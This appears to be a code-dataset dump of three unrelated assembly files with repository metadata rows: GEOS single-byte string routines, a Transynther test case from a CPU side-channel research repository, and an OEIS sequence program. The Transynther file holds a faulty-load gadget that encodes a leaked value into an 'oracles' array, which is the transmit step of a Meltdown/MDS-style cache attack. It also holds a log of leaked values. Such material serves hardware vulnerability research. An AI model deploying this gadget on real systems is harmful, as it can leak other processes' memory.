;-------------------------------------------------------------- uses cx, ds, es, si, di destPtrSeg local word push es destPtrOff local word push di sourceName local FILE_LONGNAME_LENGTH dup (wchar) destName local FILE_LONGNAME_LENGTH dup (wchar) .enter segmov es, ss ; es:di = DBCS src fname buffer on stack lea di, sourceName mov si, dx ; ds:si = passed SBCS src fname mov cx, FILE_LONGNAME_LENGTH-1 clr ah 10$: lodsb stosw loop 10$ clr ax ; ensure null-terminated stosw lea di, destName ; es:di = DBCS dest name buffer on stack mov ds, destPtrSeg ; ds:si = passed SBCS dest fname mov si, destPtrOff mov cx, FILE_LONGNAME_LENGTH-1 clr ah 20$: lodsb stosw loop 20$ clr ax ; ensure null-terminated stosw segmov ds, ss ; ds:dx = DBCS src fname on stack lea dx, sourceName lea di, destName ; es:di = DBCS dest fname on stack call FileRename mov ax, 0 ;assume no error jnc exit ;Exit if no error mov ax, -1 exit: .leave else ;------------------------------------------------------------------- call FileRename mov ax, 0 ;assume no error jnc exit ;Exit if no error mov ax, -1 exit: endif ;------------------------------------------------------------------- ret CommonSpellRename endp INIT ends ifdef FORCE_SBCS ; ; SBCS string routines grabbed from AnsiC library (which now operates in ; DBCS ; CODE segment if ERROR_CHECK ECCheckBoundsESDI proc near segxchg es, ds xchg si, di call ECCheckBounds xchg si, di segxchg es, ds ret ECCheckBoundsESDI endp ECCheckBoundsESDIMinusOne proc near pushf push di dec di call ECCheckBoundsESDI pop di popf ret ECCheckBoundsESDIMinusOne endp ECCheckBoundsMinusOne proc near pushf push si dec si call ECCheckBounds pop si popf ret ECCheckBoundsMinusOne endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% strlen %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: strlen C DECLARATION word strlen(TCHAR far *str); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ global strlenSBCS:far strlenSBCS proc far strPtr:fptr uses es, di .enter les di, strPtr EC < call ECCheckBoundsESDI > mov cx, -1 clr al repne scasb not cx dec cx ;Nuke count of null terminator xchg ax, cx .leave ret strlenSBCS endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% strchr %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: strchr C DECLARATION TCHAR far * strchr(TCHAR *str1, word c); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ global strchrSBCS:far strchrSBCS proc far str1:fptr, theC:word uses es, di .enter les di, str1 EC < call ECCheckBoundsESDI > mov cx, -1 clr al repne scasb not cx ;CX <- # chars including null mov di, str1.offset mov ax, theC repne scasb ;Look for the character jne notFound ;If not found, branch dec di mov dx, es ;DX:AX <- ptr to char found xchg ax, di exit: .leave ret notFound: clr dx ;If char not found, return NULL clr ax jmp exit strchrSBCS endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% strcpy %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: strcpy C DECLARATION TCHAR far * strcpy(TCHAR far *dest, TCHAR far *source); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ global strcpySBCS:far strcpySBCS proc far destPtr:fptr, sourcePtr:fptr uses ds, es, di, si .enter les di, sourcePtr ;ES:DI <- ptr to src string mov ds, sourcePtr.segment mov si, di ;DS:SI <- ptr to src string mov cx, -1 clr ax repne scasb EC < call ECCheckBoundsESDIMinusOne > not cx ;CX <- # chars (+ null) in src string les di, destPtr ;ES:DI <- ptr to dest for string mov dx, es ;DX:AX <- ptr to dest for string mov ax, di shr cx, 1 jnc 10$ movsb 10$: rep movsw EC < call ECCheckBoundsESDIMinusOne > .leave ret strcpySBCS endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% strncpy %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: strncpy C DECLARATION TCHAR far * strcpy(TCHAR far *dest, TCHAR far *source, word len); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ global strncpySBCS:far strncpySBCS proc far destPtr:fptr, sourcePtr:fptr, len:word uses ds, es, di, si .enter lds si, sourcePtr ;DS:SI <- ptr to src string les di, destPtr ;ES:DI <- ptr to dest string mov cx, len jcxz exit 5$: lodsb tst al jz 10$ stosb loop 5$ exit: .leave ret 10$: rep stosb ;Null pad the dest string EC < call ECCheckBoundsMinusOne > EC < call ECCheckBoundsESDIMinusOne > jmp exit strncpySBCS endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% strcmp %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: strcmp C DECLARATION word strcmp(word far *str1, word far *str2); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ global strcmpSBCS:far strcmpSBCS proc far str1:fptr, str2:fptr uses ds, es, di, si .enter les di, str1 ;ES:DI <- ptr to str1 lds si, str2 ;DS:SI <- ptr to str 2 mov cx, -1 clr ax ; repne scasb ; EC < call ECCheckBoundsESDIMinusOne > not cx ;CX <- # chars in str 1 (w/null) mov di, str1.offset ;ES:DI <- ptr to str1 repe cmpsb EC < call ECCheckBoundsMinusOne > jz exit ;If match, exit (with ax=0) mov al, es:[di][-1] ;Else, return difference of chars> sub al, ds:[si][-1] ; cbw ; exit: .leave ret strcmpSBCS endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% strncmp %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: strncmp C DECLARATION word strncmp(word far *str1, word far *str2, word len); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ global strncmpSBCS:far strncmpSBCS proc far str1:fptr, str2:fptr, len:word uses ds, es, di, si .enter clr ax ; mov cx, len ; jcxz exit ;If string is empty, return that they ; are equal. les di, str1 ;ES:DI <- ptr to str1 repne scasb ;Get length of string EC < call ECCheckBoundsESDIMinusOne > neg cx add cx, len ;CX <- min (len, strlen(str1)+1); lds si, str2 ;DS:SI <- ptr to str 2 mov di, str1.offset ;ES:DI <- ptr to str1 repe cmpsb EC < call ECCheckBoundsMinusOne > mov al, es:[di][-1] ;Return difference of chars sub al, ds:[si][-1] ; cbw ; exit: .leave ret strncmpSBCS endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% strcat %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: strcat C DECLARATION VOID * strcat(TCHAR far *str1, TCHAR far *str2); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ global strcatSBCS:far strcatSBCS proc far str1:fptr, str2:fptr uses es, ds, di, si .enter les di, str2 ; lds si, str2 ; ; GET LENGTH OF SECOND STRING clr ax mov cx, -1 repne scasb EC < call ECCheckBoundsESDIMinusOne > not cx ;CX <- # chars in second string + null ; SCAN TO END OF FIRST (DEST) STRING mov dx, cx ;DX <- size of second string les di, str1 ;ES:DI <- ptr to str1 mov cx, -1 ; repne scasb ;ES:DI <- ptr past null dec di ;ES:DI <- ptr to null byte of string EC < call ECCheckBoundsESDI > mov cx, dx ;CX <- size of second string ; COPY SECOND STRING ONTO END OF FIRST STRING shr cx, 1 jnc 10$ movsb 10$: rep movsw EC < call ECCheckBoundsESDIMinusOne > EC < call ECCheckBoundsMinusOne > mov dx, es mov ax, str1.offset .leave ret strcatSBCS endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% strncat %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: strncat C DECLARATION VOID * strncat(TCHAR far *str1, TCHAR far *str2, word len); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: Name is in caps so routine can be published now that it's fixed. KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ global strncatSBCS:far strncatSBCS proc far str1:fptr, str2:fptr, len:word uses es, ds, di, si .enter les di, str1 ;ES:DI <- ptr to str1 mov cx, -1 clr al repne scasb dec di ;ES:DI <- ptr to null-terminator for ; str1 mov cx, len ; jcxz exit ;If string is empty, just exit lds si, str2 loopTop: lodsb tst al jz 10$ stosb loop loopTop clr al 10$: EC < call ECCheckBoundsMinusOne > EC < call ECCheckBoundsESDI > stosb exit: mov dx, es mov ax, str1.offset .leave ret strncatSBCS endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% strcspn %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: strcspn C DECLARATION word strcspn(TCHAR *str1, TCHAR *str2); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ global strcspnSBCS:far strcspnSBCS proc far str1:fptr, str2:fptr uses ds, es, di, si .enter les di, str2 ;ES:DI <- ptr to str2 lds si, str1 ;DS:SI <- ptr to str1 mov cx, -1 ;CX <- # chars in str2 not counting null clr al repne scasb EC < call ECCheckBoundsESDIMinusOne > not cx dec cx mov bx, cx mov dx,-1 loopTop: inc dx ;DX <- # chars at start of str1 that aren't in ; str2 lodsb ;AL <- next char in str1 tst al jz exit mov cx, bx ;CX <- # chars in string mov di, str2.offset ;ES:DI <- ptr to str2 jcxz loopTop repne scasb jnz loopTop ;If char not found, branch exit: EC < call ECCheckBoundsMinusOne > xchg ax, dx ;AX <- # chars at start of str1 that do not lie ; in str2 .leave ret strcspnSBCS endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% strspn %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: strspn C DECLARATION word strspn(TCHAR *str1, TCHAR *str2); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ global strspnSBCS:far strspnSBCS proc far str1:fptr, str2:fptr uses ds, es, di, si .enter les di, str2 ;ES:DI <- ptr to str2 lds si, str1 ;DS:SI <- ptr to str1 mov cx, -1 ;CX <- # chars in str2 not counting null clr ax repne scasb EC < call ECCheckBoundsESDIMinusOne > not cx dec cx jcxz exit ;Exit if str2 is null mov bx, cx ;BX <- strlen(str2) mov dx, -1 loopTop: inc dx ;DX <- # chars at start of str1 that are in ; str2 lodsb ;AL <- next char in str1 tst al ;Exit if at end of str1 jz 99$ ; mov cx, bx ;CX <- # chars in string mov di, str2.offset ;ES:DI <- ptr to str2 repne scasb ; jz loopTop ;If char found, branch 99$: EC < call ECCheckBoundsMinusOne > xchg ax, dx ;AX <- # chars at start of str1 that lie ; in str2 exit: .leave ret strspnSBCS endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% strpbrk %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: strpbrk C DECLARATION TCHAR *strpbrk(TCHAR *str1, TCHAR *str2); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ global strpbrkSBCS:far strpbrkSBCS proc far str1:fptr, str2:fptr uses ds, es, di, si .enter les di, str2 ;ES:DI <- ptr to str2 lds si, str1 ;DS:SI <- ptr to str1 mov cx, -1 ;CX <- # chars in str2 not counting null clr ax repne scasb EC < call ECCheckBoundsESDIMinusOne > not cx dec cx jcxz notFound ;Exit if str2 is null mov bx, cx ;BX <- strlen(str2) loopTop: lodsb ;AL <- next char in str1 tst al ;Exit if at end of str1 jz checkNotFound ; mov cx, bx ;CX <- # chars in str2 mov di, str2.offset ;ES:DI <- ptr to str2 repne scasb ; jnz loopTop ;If char not found, branch dec si EC < call ECCheckBounds > movdw dxax, dssi ;DX:AX <- ptr to char in string1 exit: .leave ret checkNotFound: EC < call ECCheckBoundsMinusOne > notFound: clrdw dxax jmp exit strpbrkSBCS endp CODE ends endif ; FORCE_SBCS
23.437017
96
0.575342
c912fef181611a7055231faefb2ff7823287c6aa
8,832
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_1275_689.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_1275_689.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_1275_689.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r8 push %r9 push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0x14faf, %r15 clflush (%r15) nop nop cmp %rbp, %rbp vmovups (%r15), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $1, %xmm3, %r9 nop cmp %r12, %r12 lea addresses_UC_ht+0x8287, %rsi lea addresses_normal_ht+0x10287, %rdi nop nop add $51623, %r9 mov $66, %rcx rep movsw and %rdi, %rdi lea addresses_WC_ht+0x487, %r15 nop nop nop add %rbp, %rbp movups (%r15), %xmm6 vpextrq $1, %xmm6, %rdi nop nop nop nop cmp %rbp, %rbp lea addresses_WT_ht+0x14a87, %rdi nop nop sub $20088, %r9 movups (%rdi), %xmm2 vpextrq $1, %xmm2, %rbp nop nop nop nop and $16338, %rbp lea addresses_D_ht+0xa287, %rsi lea addresses_WC_ht+0x1a367, %rdi nop sub %r8, %r8 mov $127, %rcx rep movsq nop nop nop nop xor %r9, %r9 lea addresses_WT_ht+0x1220b, %r9 nop nop nop sub $48406, %r8 movl $0x61626364, (%r9) nop nop nop nop sub $2123, %r12 lea addresses_D_ht+0xa4a7, %rcx clflush (%rcx) nop nop mfence mov (%rcx), %ebp nop nop nop nop and $6828, %r15 lea addresses_normal_ht+0x9e87, %rsi lea addresses_WC_ht+0x10287, %rdi nop nop nop nop nop cmp %r15, %r15 mov $30, %rcx rep movsb nop nop nop nop nop inc %r15 lea addresses_WC_ht+0x1e2f6, %rcx nop nop nop nop nop sub %r12, %r12 mov $0x6162636465666768, %r9 movq %r9, (%rcx) nop nop nop nop nop sub %r9, %r9 lea addresses_normal_ht+0x1ee87, %rsi lea addresses_D_ht+0x607f, %rdi nop nop sub $43133, %r15 mov $112, %rcx rep movsw nop nop nop nop nop xor $40977, %r15 lea addresses_normal_ht+0x21e7, %r15 clflush (%r15) nop nop nop nop nop cmp %rdi, %rdi movw $0x6162, (%r15) nop nop nop nop nop sub $26853, %r12 lea addresses_WT_ht+0x129af, %r12 nop nop xor $57841, %r8 vmovups (%r12), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $1, %xmm0, %rcx nop nop nop sub %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r15 push %r8 push %rax push %rbp push %rcx push %rdi // Store lea addresses_WT+0xc687, %r15 nop nop nop xor $5261, %rcx movb $0x51, (%r15) nop nop sub %rcx, %rcx // Store lea addresses_RW+0x9287, %rcx nop nop nop nop nop sub $48856, %r11 mov $0x5152535455565758, %rdi movq %rdi, %xmm1 movups %xmm1, (%rcx) nop and $45542, %rax // Store lea addresses_WT+0x6a87, %rbp clflush (%rbp) nop nop add $37131, %r8 mov $0x5152535455565758, %r11 movq %r11, %xmm2 movups %xmm2, (%rbp) xor $37544, %r8 // Store mov $0x395f1d00000009c7, %rbp nop nop cmp $453, %r8 mov $0x5152535455565758, %rax movq %rax, (%rbp) nop nop nop nop nop add $11063, %r15 // Store lea addresses_D+0x10147, %r11 nop nop nop xor $63429, %rbp mov $0x5152535455565758, %r8 movq %r8, %xmm2 movups %xmm2, (%r11) nop nop nop nop add $47983, %r11 // Store lea addresses_D+0x19bff, %rcx nop nop cmp %rdi, %rdi mov $0x5152535455565758, %r15 movq %r15, %xmm0 vmovaps %ymm0, (%rcx) nop nop cmp %r8, %r8 // Faulty Load lea addresses_RW+0x9287, %rbp nop nop nop xor %rax, %rax mov (%rbp), %r11w lea oracles, %rcx and $0xff, %r11 shlq $12, %r11 mov (%rcx,%r11,1), %r11 pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r15 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': True, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_RW'}} {'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT'}} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_NC'}} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_D'}} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': True, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_D'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 3, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'58': 1275} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
29.44
2,999
0.655797
b9610303ec91a759e4ef2fa82b051db8b423c577
558
asm
Assembly
oeis/017/A017020.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/017/A017020.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/017/A017020.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A017020: a(n) = (7*n + 3)^4. ; 81,10000,83521,331776,923521,2085136,4100625,7311616,12117361,18974736,28398241,40960000,57289761,78074896,104060401,136048896,174900625,221533456,276922881,342102016,418161601,506250000,607573201,723394816,855036081,1003875856,1171350625,1358954496,1568239201,1800814096,2058346161,2342560000,2655237841,2998219536,3373402561,3782742016,4228250625,4711998736,5236114321,5802782976,6414247921,7072810000,7780827681,8540717056,9354951841,10226063376,11156640625,12149330176,13206836241,14331920656 mul $0,7 add $0,3 pow $0,4
79.714286
498
0.851254
03d233bdf2c7632ec431e0b9759c2d57b35aec2a
6,093
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_21829_315.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
